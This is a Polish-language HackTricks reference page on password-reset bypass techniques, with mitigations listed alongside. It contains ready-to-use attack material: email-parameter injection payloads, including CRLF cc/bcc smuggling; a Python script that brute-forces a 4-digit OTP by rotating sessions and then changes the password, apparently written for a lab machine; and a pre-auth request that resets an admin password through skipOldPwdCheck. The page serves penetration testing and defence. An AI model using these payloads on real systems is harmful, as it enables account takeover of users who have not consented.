Reset/Forgotten Password Bypass

Reading time: 10 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Password Reset Token Leak Via Referrer

  • Nagłówek HTTP referer może leak tokena resetu hasła, jeśli jest on uwzględniony w URL. Może się to zdarzyć, gdy użytkownik kliknie link do strony zewnętrznej po zażądaniu resetu hasła.
  • Impact: Potencjalne przejęcie konta przez ataki Cross-Site Request Forgery (CSRF).
  • Exploitation: Aby sprawdzić, czy password reset token leakuje w referer header, zażądaj resetu hasła na swój adres e-mail i kliknij otrzymany reset link. Nie zmieniaj hasła od razu. Zamiast tego przejdź na stronę zewnętrzną (np. Facebook lub Twitter) jednocześnie przechwytując żądania przy użyciu Burp Suite. Przejrzyj żądania, aby sprawdzić, czy referer header zawiera token resetu hasła, ponieważ może to ujawnić wrażliwe informacje stronom trzecim.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Atakujący mogą manipulować Host header podczas żądań resetu hasła, aby skierować reset link na złośliwą stronę.
  • Impact: Prowadzi do potencjalnego przejęcia konta poprzez leak reset tokenów do atakującego.
  • Mitigation Steps:
  • Validate the Host header against a whitelist of allowed domains.
  • Use secure, server-side methods to generate absolute URLs.
  • Patch: Use $_SERVER['SERVER_NAME'] to construct password reset URLs instead of $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Atakujący mogą manipulować żądaniem resetu hasła, dodając dodatkowe parametry email, aby przekierować reset link.

  • Dodaj adres e-mail atakującego jako drugi parametr używając &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Dodaj attacker email jako drugi parametr, używając %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com

Dodaj attacker email jako drugi parametr używając |

php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Dodaj adres e-mail atakującego jako drugi parametr używając cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Dodaj attacker email jako drugi parametr używając bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Dodaj adres e-mail atakującego jako drugi parametr używając ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Dodaj adres e-mail atakującego jako drugi parametr w tablicy json
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Zmiana Email i Password dowolnego użytkownika przez parametry API

  • Atakujący mogą modyfikować parametry email i password w żądaniach API, aby zmienić dane logowania konta.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Brak Rate Limiting: Email Bombing

  • Brak rate limiting na żądania resetu hasła może prowadzić do email bombing, przytłaczając użytkownika wiadomościami resetującymi hasło.
  • Środki zaradcze:
  • Wprowadź rate limiting oparty na adresie IP lub koncie użytkownika.
  • Użyj CAPTCHA, aby zapobiec automatycznemu nadużyciu.
  • Źródła:
  • HackerOne Report 280534

Dowiedz się, jak generowany jest token resetu hasła

  • Zrozumienie wzorca lub metody generowania tokena może prowadzić do jego przewidywania lub brute-force'owania. Niektóre opcje:
  • Oparte na znaczniku czasu
  • Oparte na UserID
  • Oparte na adresie e-mail użytkownika
  • Oparte na imieniu i nazwisku
  • Oparte na dacie urodzenia
  • Oparte na kryptografii
  • Środki zaradcze:
  • Użyj silnych, kryptograficznych metod generowania tokenów.
  • Zadbaj o wystarczającą losowość i długość, aby zapobiec przewidywalności.
  • Narzędzia: użyj Burp Sequencer do analizy losowości tokenów.

Guessable UUID

  • Jeśli UUIDy (version 1) są możliwe do odgadnięcia lub przewidywalne, atakujący mogą brute-force'ować je, aby wygenerować prawidłowe tokeny resetujące. Sprawdź:

UUID Insecurities

  • Środki zaradcze:
  • Użyj GUID version 4 dla losowości lub zaimplementuj dodatkowe mechanizmy bezpieczeństwa dla innych wersji.
  • Narzędzia: Use guidtool for analyzing and generating GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • Manipulowanie odpowiedziami HTTP w celu ominięcia komunikatów o błędach lub ograniczeń.
  • Środki zaradcze:
  • Wprowadź sprawdzenia po stronie serwera, aby zapewnić integralność odpowiedzi.
  • Użyj bezpiecznych kanałów komunikacji, takich jak HTTPS, aby zapobiec atakom typu man-in-the-middle.
  • Źródło:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Testowanie, czy wygasłe tokeny wciąż mogą być użyte do resetu hasła.
  • Środki zaradcze:
  • Wdróż rygorystyczne polityki wygaśnięcia tokenów i weryfikuj wygaśnięcie po stronie serwera.

Brute Force Password Reset Token

  • Próby brute-force tokena resetującego przy użyciu narzędzi takich jak Burpsuite i IP-Rotator w celu ominięcia ograniczeń rate limiting opartych na IP.
  • Środki zaradcze:
  • Wdróż solidny rate-limiting i mechanizmy blokady konta.
  • Monitoruj podejrzane działania wskazujące na ataki brute-force.

Try Using Your Token

  • Testowanie, czy token resetujący atakującego może być użyty w połączeniu z adresem e-mail ofiary.
  • Środki zaradcze:
  • Upewnij się, że tokeny są powiązane z sesją użytkownika lub innymi atrybutami specyficznymi dla użytkownika.

Session Invalidation in Logout/Password Reset

  • Zapewnienie unieważnienia sesji, gdy użytkownik wylogowuje się lub resetuje hasło.
  • Środki zaradcze:
  • Wdróż prawidłowe zarządzanie sesjami, zapewniając, że wszystkie sesje zostaną unieważnione po wylogowaniu lub resecie hasła.

Session Invalidation in Logout/Password Reset

  • Tokeny resetujące powinny mieć czas wygaśnięcia, po którym stają się nieważne.
  • Środki zaradcze:
  • Ustaw rozsądny czas wygaśnięcia dla tokenów resetujących i egzekwuj go rygorystycznie po stronie serwera.

OTP rate limit bypass by changing your session

  • Jeśli strona używa sesji użytkownika do śledzenia nieprawidłowych prób OTP i OTP jest słaby (<= 4 cyfry), można skutecznie przeprowadzić brute-force OTP.
  • Eksploatacja:
  • Wystarczy zażądać nowego tokena sesji po zablokowaniu przez serwer.
  • Przykładowy kod który wykorzystuje ten błąd przez losowe zgadywanie OTP (gdy zmienisz sesję, OTP również się zmieni, więc nie będziemy mogli przeprowadzić sekwencyjnego brute-force'a!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Niektóre implementacje udostępniają akcję zmiany hasła, która wywołuje procedurę zmiany hasła z skipOldPwdCheck=true i nie weryfikuje żadnego tokena resetu ani własności. Jeśli endpoint akceptuje parametr action taki jak change_password oraz username/nowe hasło w ciele żądania, atakujący może zresetować dowolne konto przed uwierzytelnieniem.

Podatny wzorzec (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Żądanie eksploatacji (koncepcja):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Środki zaradcze:

  • Zawsze wymagaj ważnego, ograniczonego w czasie reset token powiązanego z kontem i sesją przed zmianą hasła.
  • Nigdy nie eksponuj ścieżek skipOldPwdCheck dla niezalogowanych użytkowników; wymuszaj uwierzytelnienie przy zwykłych zmianach hasła i weryfikuj stare hasło.
  • Unieważnij wszystkie aktywne sesje i reset tokens po zmianie hasła.

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks